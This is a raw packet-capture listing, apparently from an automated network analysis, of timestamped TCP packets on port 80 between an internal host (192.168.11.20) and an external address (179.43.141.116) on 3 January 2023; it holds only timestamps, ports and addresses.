                                                                              Jan 3, 2023 08:16:06.207777023 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.207797050 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.207815886 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.207839966 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.207859993 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.207871914 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.207884073 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.207906961 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.207921028 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.207931995 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.207954884 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.207957983 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.207972050 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.207983971 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208004951 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208010912 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.208020926 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208034039 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208056927 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208065033 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.208071947 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208085060 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208107948 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208113909 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.208123922 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208137035 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208163023 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.208165884 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208180904 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208218098 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.208229065 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208242893 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208255053 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208266973 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208286047 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208298922 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208319902 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208327055 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.208327055 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.208348989 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208360910 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208374023 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208400011 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208412886 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208425045 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208434105 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.208451033 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208463907 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208476067 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208483934 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.208483934 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.208515882 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208528042 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208551884 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208564043 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208575010 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208580971 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.208590984 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208604097 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208616018 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208626986 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208630085 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.208642960 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208693027 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208695889 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.208720922 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208733082 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208744049 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.208745003 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208770990 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208782911 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208795071 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208803892 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.208803892 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.208807945 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208822012 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208833933 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208844900 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208852053 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.208859921 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208873034 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208884954 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208895922 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208909988 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208920956 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208933115 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208945036 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208956003 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208966970 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208977938 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.208981991 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.208981991 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.208995104 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.209007978 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.209019899 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.209028006 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.209028006 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.209028006 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.209028006 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.209125996 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.209125996 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.209173918 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.209223032 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.209223032 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.209271908 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.209271908 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.209424019 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.209439993 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.209453106 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.209491968 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.209516048 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.209563971 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.209589958 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.209611893 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.209614038 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.209638119 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.209650040 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.209661007 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.209682941 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.209692001 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.209702969 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.209713936 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.209736109 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.209748030 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.209758997 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.209769964 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.209774971 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.209799051 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.209811926 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.209825039 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.209839106 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.209839106 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.209849119 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.209862947 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.209873915 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.209899902 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.209911108 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.209923029 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.209935904 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.209935904 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.209949017 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.209961891 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.209973097 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.209985018 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.209985018 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.210001945 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.210014105 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.210026026 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.210032940 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.210052967 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.210064888 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.210077047 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.210082054 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.210103035 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.210114956 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.210127115 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.210130930 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.210154057 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.210166931 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.210177898 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.210180998 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.210180998 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.210180998 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.210207939 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.210220098 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.210232973 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.210257053 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.210268974 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.210280895 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.210298061 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.210298061 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.210304976 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.210319042 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.210330009 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.210345030 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.210349083 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.210364103 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.210376024 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.210386992 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.210393906 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.210401058 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.210413933 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.210424900 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.210437059 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.210444927 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.210448980 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.210463047 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.210474014 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.210485935 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.210500002 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.210511923 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.210522890 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.210535049 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.210546017 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.210556984 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.210568905 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.210581064 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.210592031 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.210602999 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.210614920 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.210625887 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.210638046 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.210792065 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.210792065 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.210792065 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.210792065 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.210792065 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.210792065 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.210792065 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.210792065 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.210815907 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.210815907 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.210815907 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.210836887 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.218353987 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.218518019 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.290662050 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.290739059 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.290796041 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.290822983 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.290843010 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.290862083 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.290880919 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.290927887 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.290950060 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.290998936 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.291877985 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.291924953 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.291968107 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.292001009 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.292027950 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.292041063 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.292052984 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.292068005 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.292197943 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.292251110 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.292324066 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.293047905 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.293090105 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.293154001 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.293221951 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.293232918 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.293241978 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.293262959 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.293282986 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.293368101 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.293368101 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.293736935 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.293792009 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.293811083 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.293839931 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.293859005 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.293895960 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.293917894 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.293956995 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.293979883 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.294002056 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.294017076 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.294017076 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.294022083 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.294044971 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.294071913 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.294091940 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.294106960 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.294112921 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.294117928 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.294178009 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.294178009 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.294225931 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.296600103 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.296662092 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.296714067 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.296818018 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.296818018 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.296859026 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.296885967 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.296897888 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.296910048 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.296931028 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.296942949 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.296955109 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.296966076 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.296989918 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.296993017 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.297008038 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.297029972 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.297036886 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.297036886 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.297048092 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.297068119 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.297086000 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.297087908 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.297103882 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.297116041 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.297127962 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.297141075 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.297152996 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.297184944 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.297233105 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.297233105 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.297331095 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.297497988 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.297557116 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.297595024 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.297620058 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.297633886 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.297657013 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.297688007 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.297705889 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.297708035 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.297745943 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.297769070 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.297770023 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.297807932 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.297851086 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.297871113 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.297885895 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.297909021 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.297930956 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.297966957 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.297966957 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.298007011 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298029900 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298038960 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.298068047 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298093081 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.298101902 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298120975 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298132896 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298156023 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.298158884 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298173904 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298187017 CET8049869179.43.141.116192.168.11.20
